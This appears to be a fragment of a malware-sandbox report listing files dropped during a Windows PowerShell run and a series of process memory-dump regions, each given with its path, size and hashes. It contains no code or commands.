                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                  powershell.exe.log
                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                                                                                                                                                  • Size 2KB
                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                  StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                  • Size 64B
                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 787628c3dd129679416857bcb63c52f8477a02cfeadfe0d4d5d98eb7902c61d8
                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                  StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                  • Size 64B
                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                  __PSScriptPolicyTest_bds4irub.54b.ps1
                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bds4irub.54b.ps1
                                                                                                                                                                                                                                                                                                                                                                                  • Size 60B
                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/1476-777-0x00000279229D0000-0x0000027922BEC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/1680-9-0x000001C47E940000-0x000001C47E962000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/1680-0-0x000001C47F110000-0x000001C47F120000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/1680-1-0x000001C47F110000-0x000001C47F120000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/1924-743-0x000001C46E770000-0x000001C46E98C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/2112-13-0x000002CD20290000-0x000002CD202A0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/3764-760-0x00000233C10A0000-0x00000233C12BC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/4196-843-0x000002186C1E0000-0x000002186C3FC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/4208-869-0x0000017BE94E0000-0x0000017BE96FC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/4552-726-0x000001616CDB0000-0x000001616CFCC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/4688-852-0x000002352DBC0000-0x000002352DDDC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/4876-701-0x0000013448960000-0x0000013448B7C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                  memory/4924-802-0x000001BA9E480000-0x000001BA9E69C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                  Download